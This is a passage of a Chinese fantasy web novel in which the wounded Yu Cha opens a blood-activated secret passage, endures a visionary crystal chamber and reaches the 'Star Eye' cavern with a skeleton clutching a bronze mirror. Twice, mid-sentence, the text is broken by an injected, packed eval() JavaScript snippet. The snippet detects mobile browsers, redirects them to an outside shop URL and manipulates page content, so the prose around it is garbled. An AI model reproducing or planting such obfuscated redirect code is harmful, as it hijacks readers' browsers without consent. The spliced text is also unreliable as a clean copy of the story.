“不是门,是……锁孔。”余茶喃喃道,“一个巨大无比的、立体的锁孔。需要完整的‘钥匙’立体插入才能开启?” “恐怕不止是插入。”利诺斯眉头紧锁,“看这凹槽的深度和复杂程度,普通的钥匙不可能做到。这很可能涉及到……地脉能量层面的‘契合’与‘激活’。”他想起了森林里巨树根须的回应和低语。 问题来了:如何将碎片送到三十人高的岩壁凹槽处?他们无法攀爬那光滑的绝壁。 “或许不需要送到那么高。”余茶思索着,“既然阳光通过陶片能触发指示,也许在地面也有对应的触发点?或者,需要将碎片按照特定方式排列组合,产生足够的‘共鸣’或‘能量信号’,从下方激活上方的机关?” 这纯属猜测,但眼下没有更好的思路。利诺斯决定尝试。他将五块碎片按照它们彼此吸引、呼应的自然位置,在地面上排列成一个不规则的环形,中心留空。陶片被放在特定角度,确保其反射的光点始终落在岩壁凹槽中心。 起初,除了陶片反射的光点和碎片自身的微鸣,并无其他异常。 但就在利诺斯尝试着,将一些湿润的泥土涂抹在碎片之间,试图构建一个简陋的“能量回路”时—— 五块碎片的嗡鸣声陡然增强,并且开始以不同的频率共振。它们表面各自流淌起极其微弱、但肉眼可见的对应色光晕。石台钥匙的金褐色、铜耙子的青灰色、黑色吊坠的暗金色、陶片的暗红色、黑色木杖的墨绿色——五色光晕如同五条苏醒的小蛇,开始沿着碎片排列的轨迹,缓慢地向中心空地流动、汇聚! 而岩壁上,被陶片金光点亮的那个巨大凹槽轮廓,其边缘也开始流淌起极其微弱的、与碎片光色对应的五色流光,仿佛沉睡的电路被部分接通。 有戏! 然而,这过程极其缓慢,光流的汇聚也显得后劲不足,仿佛缺少了关键的“电源”或“催化剂”。岩壁凹槽的流光闪烁不定,无法稳定,更谈不上“开启”。 “不够……”利诺斯喘息着,额头冒汗。维持碎片排列和关注岩壁变化,似乎也在消耗他的精神。余茶也感到一阵莫名的虚弱和心悸,仿佛有什么东西在通过碎片,汲取她的精力。 “缺了东西。”余茶忍着不适,盯着中心那缓慢旋转、却始终无法凝实的五色光团,“其他碎片?还是……别的?‘心亦有所求’……会不会在这里,需要支付某种‘代价’才能激活?” 话音刚落,异变突生! 并非来自碎片或岩壁,而是来自他们身后森林的方向。 一声尖锐的、极具穿透力的响箭啸音划破清晨的寂静。紧接着,是嘈杂的人声、犬吠和快速逼近的脚步声。 “在那边!岩壁下面!” “快!包围过去!” 克里同的搜捕队。他们还是被发现了。可能是晨光暴露了陶片的反光,可能是他们移动的痕迹最终被追踪到,也可能只是运气耗尽。 追兵来得极快,听声音至少有二三十人,正从三个方向包抄过来,退路瞬间被切断! 前有绝壁,后有追兵,再次绝境! 利诺斯眼中厉色一闪,一把抓起地上的碎片塞回布囊,同时猛地将余茶拉到一块较大的岩石后面。“待着别动!”他低吼一声,自己则拖着断腿,迎着追兵来的方向,猛地冲了出去!他不是要硬拼,而是要制造混乱,引开追兵。 “他在那里!追!”士兵的呼喊立刻转向利诺斯逃跑的方向。箭矢破空声响起! 余茶心脏骤停,紧紧蜷缩在岩石后,听着外面利诺斯踉跄却迅捷的脚步声、士兵的呼喝追逐声、以及箭矢钉入树木泥土的闷响越来越远……泪水毫无征兆地涌上眼眶,不是因为恐惧,而是因为一种极致的荒谬和无力。又一次,她成了需要被保护、被牺牲才能暂时存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226097|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的累赘。 然而,利诺斯的冒险只引开了大部分追兵。仍有几名士兵似乎接到了命令,继续朝着岩壁方向搜索过来,脚步声越来越近。 余茶握紧了手中的匕首,看了一眼腰间沉重的碎片布囊,又看了一眼不远处那刚刚因为碎片被拿走而重新黯淡下去的岩壁凹槽轮廓。 一个疯狂的念头,如同绝境中滋生的毒蔓,缠绕上她的心头。 如果……激活这密道需要“代价”…… 如果她的“价值”,仅在于此…… 外面,士兵的交谈声已近在咫尺: “仔细搜!科斯摩要的是那个女的和那些古物,男的死活不论!” “这块大石头后面看看。” 没有时间了! 余茶猛地将布囊里五块碎片全部倒出,胡乱地按回刚才的大致排列位置,甚至顾不得角度。然后,她抓起地上那把沾着泥土和血污的匕首,看了一眼自己肿胀紫黑的左小腿——那里已经废了,或许,还能发挥最后一点作用。 她不是英雄,也不信牺牲。但这一刻,活下去的本能和对“代价”的冰冷解读,压倒了一切。 她将匕首尖端,对准了自己左脚脚踝上方、肿胀最严重处的皮肤。 狠狠划下! 没有想象中的剧痛,因为那里的神经早已麻木。但温热的鲜血,立刻泉涌而出,浸透了破烂的裤腿,滴落在排列的碎片之上,尤其是中心那块空地上! 鲜血渗入泥土,沾染上碎片。 就在她的血接触到碎片的刹那—— 五块碎片,同时爆发出刺眼欲盲的强光。不再是温和的光晕,而是如同五颗小太阳般猛烈燃烧。鲜血仿佛成了最剧烈的催化剂,五色光流以前所未有的速度和亮度向中心汇聚、碰撞、融合! 一股无形的、狂暴的冲击波以碎片为中心轰然炸开,将靠近的士兵掀飞出去。余茶也被气浪推得撞在岩石上,眼前一黑,几乎晕厥。 而岩壁上,那个巨大的立体凹槽,瞬间被稳定、凝实、如同液体般流淌的五色光芒完全填充、点亮。整个凹槽区域变得如琉璃般透明发光。复杂的立体纹路清晰可见,并且开始缓缓旋转、变形。 隆隆隆—— 低沉的、仿佛万吨巨石在轨道上滑行的巨响,从岩壁深处传来。整片“神罚之面”都开始微微震动,在凹槽下方约一人高的位置,光滑的岩壁上,突然无声无息地滑开一道窄缝,继而扩大,露出一个黑黝黑的、仅容一人侧身通过的入口。入口边缘光滑如镜,闪烁着五色流光的余晖。 密道,以最血腥、最意想不到的方式,打开了。 入口出现的位置,恰好离地面不远,前方还有几块可供垫脚的岩石。 余茶挣扎着抬起头,看着那光芒流转的入口,又看了一眼自己鲜血淋漓、完全失去知觉的左腿,以及远处被冲击波震懵、正惊恐爬起的士兵。 没有犹豫。求生的欲望压倒了所有疼痛和恐惧。 她用尽最后力气,抓起地上光芒渐渐黯淡、却依旧温热的碎片,胡乱塞回沾血的布囊,拖着那条不断淌血的废腿,连滚带爬地扑向那个刚刚开启的入口! 身后传来士兵惊醒后的怒骂和拉弓搭箭的声音。 一支箭矢擦着她的头皮飞过,钉在入口边缘,火星四溅。 余茶不顾一切地挤进了那道狭窄的缝隙。 就在她身体完全没入黑暗的瞬间—— “轰!” 身后的入口,如同有生命般猛地闭合。严丝合缝,光芒尽敛,恢复成原本光滑冰冷的岩壁,仿佛刚才的一切从未发生。最后一线天光被彻底隔绝。 黑暗,冰冷,死寂。 只有她自己粗重如风箱的喘息,和左腿伤口处血液滴落在岩石上发出的、单调而恐怖的—— 滴答。 滴答。 她瘫倒在密道入口内的冰冷地面上,怀抱着沾满自己鲜血的碎片布囊,意识在剧痛、失血和极度的精神冲击下,迅速沉入无边的黑暗。 在彻底失去意识前,她最后模糊地想到: 利诺斯……还活着吗? 这以血为价开启的密道……究竟通向何方? 而“星之眼”等待她的,又会是什么? 27. 星之眼的回响 黑暗并非无声。 滴答,滴答。 那是她自己的血,滴落在古老岩石上发出的、细微却固执的声响,仿佛在为她尚未完全熄灭的生命倒计时。除此之外,是绝对的、令人窒息的死寂。没有风,没有水流,没有任何外界的杂音。绝对的黑暗吞噬了一切,连同她最后的力气和对方向的感知。 余茶瘫在密道入口内的冰冷地面上,怀中紧紧搂着那个沾满她鲜血的布囊。五块碎片在黑暗中异常安静,没有了之前的嗡鸣或微光,仿佛刚才那场以血为祭、强行开启通道的狂暴能量释放耗尽了它们所有的活力,也仿佛它们正蛰伏在这纯粹的黑暗里,等待着什么。 剧痛从左腿源源不断地传来,如同持续的、灼热的电击。失血带来的寒冷正从四肢百骸向内蔓延,与失温一同袭来的,还有无法抗拒的昏沉。她的意识像风中残烛,在彻底熄灭的边缘明灭不定。 利诺斯……还活着吗? 这个念头如同冰锥,刺破了麻木的痛楚。她记得他被箭矢追逐着消失在林间的背影,记得士兵们如狼似虎的呼喝。生存的概率,低得可怜。可如果他死了……如果只剩下她一个人,拖着这条废腿,在这未知的、伸手不见五指的密道里…… 她几乎要放弃。寒冷和黑暗是比追兵更可怕的敌人,它们温柔地包裹你,诱惑你沉入永恒的安眠。 不! 一个更冰冷、更坚硬的声音在她脑海深处响起。那是属于“余茶”的声音,那个来自另一个世界、习惯用逻辑和计算面对一切的女人。死在这里?让自己的血慢慢流干,在无人知晓的黑暗中腐烂?为了什么?为了这些莫名其妙的碎片?为了一个虚无缥缈的“星之眼”?还是为了那几个认识不过几天、在生死间反复拉扯的“同伴”? 荒谬。 生存的本能,以及对“荒谬”本身的不甘心,压倒了放弃的念头。她还没看到结局。还没弄清楚这一切到底是什么。还没……找到回家的路! 她咬着牙,用还能动的左手摸索身边。地面是冰冷的、打磨光滑的岩石,没有灰尘,没有苔藓,干净得异常。她忍着剧痛,一点点坐起身,靠在同样光滑冰冷的岩壁上。然后,她解下腰间那个充当腰带的、破烂的布条,摸索着在自己左腿大腿根部用力扎紧——一个简陋的止血带。剧痛让她眼前发黑,几乎晕厥,但血流的速度似乎减缓了一些。 做完这一切,她几乎虚脱。喘息声在密闭的空间里显得格外粗重。她摸索着布囊,手指触碰到里面冰冷的碎片。它们依旧沉默。 需要光。 这个念头清晰起来。没有光,她寸步难行,甚至无法判断伤口情况,更别说寻找出路。 她犹豫了一下,还是将碎片一块块取了出来,摊放在身前的地面上。在绝对的黑暗里,视觉无用,她只能用触觉去感知它们:石台钥匙的沉重棱角、铜耙子的冰冷锐利、黑色吊坠的温润光滑、陶片的粗糙边缘、黑色木杖的沉稳质感。 她将它们按照记忆中在“神罚之面”下排列的方式,在身前大致摆开。没有泥土,没有鲜血,也没有阳光。 什么都没有发生。 当然。她心底冷笑。难道还指望它们像电灯一样自己亮起来吗? 她尝试着集中精神,像在千橡之森地下岩洞里那样,去“感受”碎片,去“想象”共鸣。但此刻,剧烈的疼痛、失血的虚弱、以及身处未知绝境的恐惧,像厚厚的屏障,让她根本无法进入那种玄妙的状态。她只感到一片冰冷的死寂,以及碎片本身传来的、深沉的沉默。 这不是办法。 她强迫自己冷静下来,开始用逻辑分析现状。 第一,这是一条密道,由碎片和血激活开启。这意味着它很可能与“七钥”系统直接相关,并非天然洞穴。 第二,密道入口在她进入后立刻关闭,且严丝合缝。这表示它有某种“门禁”机制,可能是一次性的,也可能需要特定条件再次开启。后者的可能性更大,否则古代祭司如何使用? 第三,密道内异常干净、光滑,有人工修整痕迹。说明这里被定期维护,或者……有一种机制在维持它的“洁净”。联想到碎片和地脉能量,后者的可能性不能排除。 第四,也是最重要的:这条密道通向哪里?浮雕地图指示“星之眼”在“山之巅”。神罚之面是山峰的西南侧绝壁。那么,这条从绝壁开启的密道,最可能的走向是——向上,通往山峰内部,直抵山顶区域,也就是“星之眼”所在地。 如果这个推断成立,那么她只要沿着密道向上走,就有可能到达目的地。 但怎么走?在黑暗里爬行?她的左腿…… “老话就是有道理,工作需要好身体!” 余茶止住了对自己身体情况的叹气,反而深吸一口气,冰凉的空气让她肺部刺痛,但也带来一丝清醒。她摸索着,将碎片重新收回布囊,紧紧系在腰间。然后,她双手撑地,尝试用右腿和手臂的力量,让自己“站”起来——实际上是单腿支撑,靠在岩壁上。 她伸出一只手,向前方的黑暗探去。指尖触到了对面的岩壁。通道很窄,仅容一人通过,她张开双臂,几乎能同时触摸到两侧墙壁。 她开始用这种方式,像一只失明的虫子,靠着触摸两侧和脚下的岩壁,一点点向前挪动。受伤的左腿拖在身后,每一次轻微的牵动都带来撕裂般的痛楚,但她强迫自己忽略。右手始终扶着一侧墙壁,左手则向前探路,警惕着可能出现的台阶、坑洞或岔路。 黑暗放大了所有感官,也放大了时间感。她不知道自己挪动了多久,也许只有几分钟,也许已有一个小时。通道似乎一直保持着相同的宽度和坡度,缓慢但持续地向上延伸。空气始终冰冷、干燥、洁净,没有任何异味,也听不到任何来自外界的声音。这里仿佛是一个被时间遗忘的、埋在山腹中的石制血管。 就在她感到手臂和左腿的肌肉因为持续用力而开始颤抖,意识再次因为疼痛和疲惫而模糊时,她的右手忽然摸了个空。 不是到了尽头,而是通道在这里拐弯了。 她停下来,喘息着,仔细触摸拐角。是一个向右的直角弯。拐过去之后,通道似乎变宽了一些。 她小心翼翼地拐过去,继续向前挪动了几步。 然后,她停下了。 前方,出现了一点光。 极其微弱,淡蓝色的,如同遥远星芒的一点微光,静静悬浮在通道前方不远处的黑暗中。 不是碎片发出的光,也不是火把或任何她已知的光源。那光芒稳定、清冷,带着一种非人间的静谧感。 希望如同投入死水的石子,在她心底激起一圈微澜。有光,就意味着可能有出口,或者至少是另一个空间。 她加快了一点速度,朝着那点微光挪去。随着靠近,她发现那光芒并非单独一点,而是……镶嵌在岩壁上的什么东西发出的。通道在这里似乎到了一个较为宽敞的地方,像是一个小型的石室。 当她终于挪到那发光物近前时,她看清楚了。 那是一块嵌入岩壁的、拳头大小的晶体。晶体呈不规则的多面体,通体透明,内部仿佛有淡蓝色的、液态的光在缓慢流转、呼吸。它散发出的光芒虽然微弱,但足以照亮这个小小的石室。 石室约莫两人见方,除了这块发光的晶体,空无一物。但正对着晶体下方的岩壁地面上,有一个浅浅的、圆形的凹坑,大小正好可以容纳一人盘坐。 而在凹坑前方的岩壁上,刻着字。 不是米诺斯线形文字A,也不是她见过的任何文字。那是一种更加古老、更加抽象的符号,线条简洁而有力,仿佛用尖锐之物一气呵成刻下。只有一行。 余茶艰难地挪到凹坑边,凑近那行字。淡蓝的晶体光芒照亮了刻痕。她看不懂这些符号,但当她凝视它们时,一种奇异的感觉涌上心头——那不是视觉的阅读,而是一种直接的、模糊的“意会”,仿佛这些符号本身携带着信息,正试图直接烙印在她的意识里。 这种感觉很轻微,却真实存在。伴随着这种感觉,她似乎“听”到了一声极轻的、仿佛来自遥远星空深处的叹息。 “……窥视……即……背负……” 断断续续的意念碎片,如同冰晶落入脑海,带来一阵刺骨的寒意。 窥视?背负? 这又是什么警告?还是提示? 余茶的目光落回那个圆形的凹坑。这个位置,正好可以让人盘坐下来,面朝发光的晶体和墙上的刻字。 一个“观想”或者“接收”的位置? 她犹豫了。经历了这么多,她对任何需要她“主动参与”的古代机关都充满了警惕。尤其是这种直接作用于意识的。 但环顾这间小小的石室,除了来路,没有其他出口。那点淡蓝色的晶体光芒虽然照亮了这里,却并未揭示任何暗门或通道。 也许……关键就在这个凹坑,这块晶体,这行字。 她想起了阿尔克提斯在礁石洞穴进行“仪式”时的样子,想起了利诺斯用碎片触发各种反应时的场景。在这个世界里,有些“锁”需要用非常规的“钥匙”来开,有些“门”需要特定的“状态”才能通过。 她现在的状态糟透了,但也许正因为糟透了,才更接近某种……“纯粹”?或者,更无力抗拒? 自嘲的念头一闪而过。她没有太多选择。要么退回黑暗的通道等死,要么……试一试。 她拖着伤腿,艰难地挪进那个凹坑,背对着来时的通道,面朝发光晶体和刻字,缓缓坐了下来。石坑冰凉,正好容纳她的身形,仿佛为她量身定做。 坐定之后,她抬起头,看向那块发光的蓝色晶体。光芒柔和,并不刺眼。尽管全身无处不痛,她还是试着放松,将注意力集中在晶体内部那流转的光线上。 起初,什么也没有发生。只有寂静,和腿上持续传来的疼痛。 但渐渐地,当她因为疲惫而眼神有些涣散,意识在半清醒半昏沉间飘荡时,她感到那晶体中的蓝光似乎……流动得快了一些。光芒也似乎变得更亮、更集中,仿佛在“注视”着她。 与此同时,墙上的那行古老符号,在蓝光的映照下,仿佛活了过来,线条微微扭曲、变形,投射出淡淡的影子。那些影子交织、变幻,在她眼前的空气中,隐约勾勒出新的图案—— 不再是符号,而是一幅幅快速闪过的、模糊的画面! 翻滚的星云,冰冷的巨石环,燃烧的轨迹划过黑暗的天空,巨大的阴影投在海面,山峦崩裂,海水沸腾,人群跪拜又奔逃,祭司举起发光的器物,七道光芒从岛屿的不同地点冲天而起,交织成一个复杂的立体网络,网络的核心,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226098|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个旋转的、深邃的“眼”…… 画面破碎、跳跃、混杂,如同一个古老而混乱的梦境,强行塞入她的脑海。信息量庞大到让她头痛欲裂,伴随着强烈的晕眩和恶心感。那些画面中蕴含的情感——恐惧、敬畏、祈求、决绝、巨大的悲伤与责任——也如同潮水般冲刷着她的意识。 “……守卫……观测……记录……平衡……警告……” “……断裂……坠落……遗忘……窃取……愤怒……” “……最后的钥匙……最后的守望者……选择……” “……星之眼……即是……回响……” 无数破碎的词语和意念,伴随着画面碎片,在她脑中炸开。她感到自己的意识正在被撕裂,被这些不属于她的记忆和情感淹没。她想闭上眼睛,想移开视线,想逃离这个凹坑,但身体却像被无形的力量钉住,动弹不得! 那块蓝色晶体此刻光芒大盛,将整个石室映照得一片通明。晶体内部的光流疯狂旋转,仿佛一个微型的漩涡。而墙上的刻字,则像烧红的烙铁,散发出灼热的气息! “呃啊——!”余茶发出一声压抑的痛苦呻吟,感觉自己的脑袋快要炸开,灵魂都要被抽离出去! 就在她以为自己会被这狂暴的信息流彻底摧毁时,布囊里的五块碎片,突然齐齐一震。 一股温暖而坚实的力量,从碎片中涌出,顺着布囊流入她的身体,护住了她意识最后的核心。这力量与蓝色晶体的冰冷信息流截然不同,它更贴近大地,更沉稳,带着一种古老的、守护的意志。 两种力量在她体内激烈碰撞、交织。余茶的身体剧烈颤抖,口鼻中溢出血丝,眼前光影疯狂乱闪,耳边是无数声音的轰鸣与碎片力量的嗡鸣。 “砰!” 一声闷响,不是来自外界,而是来自她体内,仿佛某种屏障被打破,又或者某个开关被强行接通。 所有的幻象、声音、信息流,如同退潮般骤然消失。 蓝色晶体的光芒迅速黯淡,恢复了最初的微弱状态。墙上的刻字也失去了灼热感。 石室内重回寂静,只有余茶粗重如破风箱般的喘息声,和她嘴角不断滴落的鲜血。 她瘫软在凹坑里,浑身被冷汗浸透,眼前发黑,耳朵里嗡嗡作响。但她的意识,却诡异地清醒了许多。 一些东西沉淀了下来。不再是混乱的画面和声音,而是一些清晰的、冰冷的“知识”: 这座岛,并非天然形成。它是一个更古老文明留下的“观测站”兼“锚点”。所谓的“地脉”,是那个文明铺设的、用于调节能量与维持某种“平衡”的网络系统。“七钥”是这个网络七个关键节点的控制与校准器。 “星之眼”,就是这座观测站的核心,是“回响”接收器,也是最终的“控制台”。 很多很多年前,发生了一次灾难。网络受损,控制器散落。岛屿上后来的文明米诺斯人?或其先民无意中发现了部分碎片和节点的力量,加以崇拜和利用,但也引发了新的不稳定。 而最近的地脉暴动,不仅仅是因为碎片被扰动。更深层的原因是——那个“平衡”正在被打破。有外来的力量在试图“窃取”或“干扰”这个网络。岛屿的灾变,是系统失衡和外部侵入双重作用下的结果。 集齐“七钥”,在“星之眼”进行操作,可以尝试“校准”网络,修复部分损伤,抵御外部干扰。但“心亦有所求”——这里的“心”,指的不是某个节点,而是这个古老的系统本身,或者说,是维护它的某种……“意志”。校准需要付出代价,可能是巨大的能量,也可能是……操作者自身的某些东西。 最后,也是最清晰的一条信息: 这条密道,是直通“星之眼”的快速路径。但刚才的石室,是一个“过滤”与“考验”。只有携带足够数量碎片、并且意志能够承受初步信息冲击的人,才能继续前进,否则会被困在此处,或者意识被信息流冲毁。 她通过了。 代价是几乎虚脱的身体,和脑海中那些挥之不去的、沉重的“知识”。 余茶喘息着,抬手抹去嘴角的血。目光落在前方。 在蓝色晶体光芒的映照下,她看到,原本刻着字的那面岩壁,此刻无声地滑开了一道缝隙,露出后面更深邃的黑暗,以及……一段向上延伸的、粗糙的石阶。 石阶尽头,有更加稳定、更加柔和的白色光芒流淌下来。 那光芒的气息,与她脑海中刚刚获得的、关于“星之眼”的描述,隐隐共鸣。 她颤抖着,用尽最后力气,抓起身边的布囊,抱在怀里。然后,她用双手和右腿,一点点爬出凹坑,朝着那道敞开的缝隙,朝着石阶上方的光芒,艰难地挪去。 每向上一步,腿上的伤就传来钻心的痛,但脑海中那些冰冷的“知识”,却像灯塔一样,指引着她,也压迫着她。 星之眼就在上面。 第七块碎片,最后的答案,最终的抉择…… 她拖着血迹,爬进了那道缝隙,开始攀爬那最后的石阶。 身后,石室岩壁缓缓闭合,将蓝色的微光和古老的警告,再次封存于寂静的黑暗之中。 只有石阶上蜿蜒的、新鲜的血迹,证明着有人来过,有人背负起了不该由她背负的重担,正向着“回响”的核心,踉跄前行。 28. 寂静的穹顶 石阶远比看起来更长,也更陡峭。 余茶几乎是爬上去的。双手和右膝在粗糙的石阶上摩擦,很快便皮开肉绽,与左腿伤口流出的血混在一起,在身后拖出一道断续的、暗红色的痕迹。每向上一步,都需要调动全身仅存的气力,与疼痛、晕眩和失血带来的虚弱对抗。布囊被她紧紧系在腰间,碎片随着她的动作偶尔发出轻微的磕碰声,却再无任何光芒或共鸣。 上方的白光稳定地流淌下来,不刺眼,却带着一种奇特的“洁净”感,仿佛能驱散黑暗,却驱不散她身上的血腥与污秽。空气变得更加清冷干燥,先前密道中那种绝对的死寂,在这里被一种极其微弱、几乎难以察觉的“背景音”取代——那不是声音,更像是一种持续的低频震动,通过石阶和她的身体隐约传来,仿佛整座山峰的心脏正在某处缓慢搏动。 不知爬了多久,就在余茶觉得自己的手臂和左腿再也无法支撑,意识即将彻底沉入黑暗时,石阶终于到了尽头。 她喘息着,抬起头。 眼前豁然开朗。 她置身于一个巨大的、半球形的天然岩洞之中。洞顶极高,呈完美的拱形,仿佛神仙吹出的气泡,凝固在山腹深处。洞顶并非完全封闭,中央开有一道狭窄的、笔直向上的天然裂隙,长约十数步,宽仅容一人通过。此时正值白昼,天光从那道裂隙中倾泻而下,形成一道清晰的光柱,如同连接天地的桥梁,直直地投射在岩洞中央的地面上。 那光柱经过洞顶某些特殊矿物或结构的折射,并未完全照亮整个空间,反而在洞窟内弥散开一种柔和的、乳白色的光辉,让这里的一切都笼罩在一种朦胧而神圣的光晕之中。空气冰凉,带着高山特有的稀薄与洁净,还有一种……难以言喻的“空旷”感,仿佛声音在这里都会被吸收,只有最纯粹的寂静得以留存。 这里,就是“星之眼”。 余茶的目光首先被光柱投射的区域吸引。那里并非平坦的地面,而是一个微微隆起的大型石制平台,平台表面被打磨得异常光滑,呈现出一种温润的玉白色。平台中央,有一个复杂的、凹陷下去的圆形图案,图案由多个同心圆和辐射状的线条组成,线条交汇处有着大小不一的凹槽,其中一些凹槽的形状,与她携带的碎片惊人地相似。 而就在那个圆形图案的正中心,光柱最明亮的核心处,静静悬浮着一件东西。 那是一块约莫巴掌大小、厚度如指节的晶体。晶体呈淡金色,半透明,内部仿佛有星云般的絮状物在缓缓旋转、流淌。它没有任何支撑,就那么违背重力地悬浮在离平台约一尺高的空中,缓缓自转,散发着柔和而稳定的金色光晕。那光晕与洞顶洒下的天光交融,让它看起来既像实体,又像一团凝固的光。 第七块碎片。 无需任何确认,余茶心中立刻明了。它与她携带的其他碎片本质相连,形态却截然不同,更像是……所有碎片力量的汇聚与升华,是控制台的核心。 她的心跳不由得加快,但随即被更深的警惕压下。太安静了。除了那悬浮的核心碎片和宏伟寂静的空间,这里什么都没有。没有阿尔克提斯,没有利诺斯,没有追兵,甚至没有任何生命活动的迹象。 浮雕的警告,“心亦有所求”的低语,还有刚才石室中灌入她脑海的那些冰冷知识,此刻如同警钟般在意识中回响。这里不是终点,而是真正的考验场。那个“代价”,恐怕就要在这里支付。 她艰难地挪动着,从石阶口爬进了这巨大的洞窟。地面是天然的岩石,被打扫得异常干净。她朝着中央平台的方向缓缓挪去,目光警惕地扫视四周。 洞窟的边缘,靠近岩壁的地方,并非空无一物。那里矗立着一些低矮的、同样由白玉般石材砌成的墩座,约有七八个,围成一个大致的环形,拱卫着中央平台。每个墩座上方,都摆放着不同的器物:有的是一卷腐朽严重的皮质或仅剩残骸莎草卷轴,有的是一件锈蚀的金属仪器,形状古怪,带有刻度与可转动的部件,有的是一块表面光滑如镜的黑色石板,还有的……是空的。 这些似乎是古代操作者或观测者留下的“工作站”或“记录台”。余茶的目光在那些器物上短暂停留,最终落在了那个空着的墩座上。它比其他墩座稍大,位置也最靠近平台,正对着光柱的方向。墩座表面没有灰尘,仿佛一直有人在擦拭。 一种莫名的直觉驱使她向那个空墩座挪去。随着靠近,她看到墩座侧面刻着细小的符号,与石室中那种古老文字类似,但似乎更复杂一些。当她凝神去看时,那种直接的“意会”感再次出现,虽然模糊,但比之前清晰: “……守视者之位……链接……平衡……抉择……” 守视者?是指古代这里的工作人员?还是……某种传承的职位? 她还没来得及细想,目光就被墩座正前方、平台边缘的一样东西吸引了。 那是一具骸骨。 骸骨倚靠在平台边缘,保持着坐姿,身上的衣物早已化为尘土,只留下一些黯淡的金属饰物碎片散落在骨骼旁边。骨骼很完整,呈一种奇特的玉白色,与平台的石材颜色相近,仿佛经历了某种矿化。骸骨的左手搭在膝上,右手向前伸出,指尖似乎正指向平台中央悬浮的核心碎片,但在距离碎片还有一段距离时就停住了,仿佛生命在最后一刻耗尽。 骸骨头颅低垂,面向平台中心,空洞的眼眶“凝视”着那金色的晶体。 然而,更让余茶呼吸一窒的,是骸骨左手掌心紧握、即使化为枯骨也未曾松开的东西。 那是一面铜镜。 直径约手掌大小,边缘略有残缺,表面覆盖着厚厚一层温润的、暗绿色的“黑漆古”包浆,在洞顶天光下泛着幽暗的光泽。镜背的纹饰在光线下隐约可见——那是一只首尾相接、形成一个完美环状的奇异生物:头部似蛇,但生有螺旋状的弯曲长角,角尖仿佛刺向虚空,身体布满涡纹鳞片,尾部卷起,流畅而有力。整个图案线条古拙灵动,带着一种超越时代的简洁与神秘。 夔龙和涡纹?! 一个大大的问号,出现在余茶的脑海。这不是爱琴海文明的典型纹饰。古希腊时代的花纹,类似的也就是摩羯纹,但摩羯的头是羊,尾部也不会是卷曲的,且应该是鱼尾。而这面镜子上的纹饰,更加抽象、原始,充满了某种……更古老、更普世、更东方的象征意味。镜背边缘,似乎还有极细微的刻痕环绕,但距离和光线让她看不真切。 强烈的违和感让余茶心头狂跳。一面明显不属于本地文化序列的铜镜,出现在这个与世隔绝、充满超自然气息的古代观测站核心?握在一个可能是最后一代“守视者”的骸骨手中? 她脑海中突然闪过之前在那鲸头石洞穴中,阿尔克提斯展示的、来自她家族传承的几件古物之一。似乎……就有一面残破的铜镜?当时未及细看,阿尔克提斯也只说那是古老传承的一部分,是“连接某些遥远之地的遗物”,具体用途不明。 难道阿尔克提斯家族传承的,就是这面镜子的另一部分?或者……是与之对应的另一面?“连接某些遥远之地”是指的远东?公元前5世纪的中国处于什么朝代? “东周列国。” 知识碎片在她脑海翻腾,如果这个古老系统曾是一个跨越广阔地域的“网络”,那么“断裂”和“碎片化”,是不是代表不同文明可能保留了不同部分的“遗产”…… 她强迫自己冷静,挪得更近一些,仔细打量那面镜子。骸骨握得很紧,她犹豫了一下,还是伸出颤抖的手指,轻轻触碰了一下镜背。 冰冷。坚硬。带着岁月沉淀的润泽感。 就在她指尖接触的刹那,怀中的布囊里,突然传来一阵极其微弱的、几乎难以察觉的震颤。 是那几块碎片。它们在……回应这面镜子? 与此同时,那镜背原本温润的包浆,在与她手指接触的微小区域,似乎极其短暂地闪过一道更幽暗的光泽,快得像是错觉。而那环绕镜背边缘的细微刻痕,也在那一瞬间仿佛清晰了一点——她似乎瞥见了三种截然不同、却又以某种奇异韵律交织的纹路,像是文字,又像是纯粹的装饰带。 余茶缩回手,心跳如鼓。这镜子不简单。它和碎片有关联?和这个“星之眼”系统有关?还是……它本身就是一个独立的、指向更宏大谜题的“钥匙”? 她想起骸骨伸手指向核心碎片的姿态。他死前最后的动作,是想用这面镜子做什么?接触核心?反射天光?还是……用它来“看”什么? 没有时间细究了。她自己的时间也在流逝。 她深吸一口气,不再看那骸骨和镜子,将注意力转回中央平台。当务之急是处理她带来的碎片和核心。 她解下腰间的布囊,将五块碎片一一取出,放在那个空墩座旁边的地面上。碎片在进入这个洞窟后,第一次出现了微弱的反应——它们表面的光泽似乎更润泽了一些,彼此之间那种悦耳的嗡鸣再次出现,虽然极其轻微,但在这片寂静中清晰可辨。它们“看”着中央平台上的核心碎片,仿佛在无声地呼唤。 核心碎片依旧静静悬浮,金色的光晕稳定如初,对它们的呼唤毫无反应。 余茶皱起眉。看来,仅仅是把碎片带到这里还不够。需要“激活”平台,或者完成某种“链接”。 她回忆着脑海中的知识碎片,目光再次落到平台中央那个复杂的圆形图案上。图案上的凹槽……如果没猜错,那正是放置其他六块碎片的地方。而中心悬浮的核心,或许是第七块,也或许是某种“总控”或“接口”。 但要靠近平台,将碎片放入凹槽…… 她的目光落回那具骸骨和镜子上。他的指尖,离核心碎片那么近,却终究没能触及。是力竭而死,还是……被某种力量阻止了?这面镜子,会是“通行证”或“权限钥匙”吗? 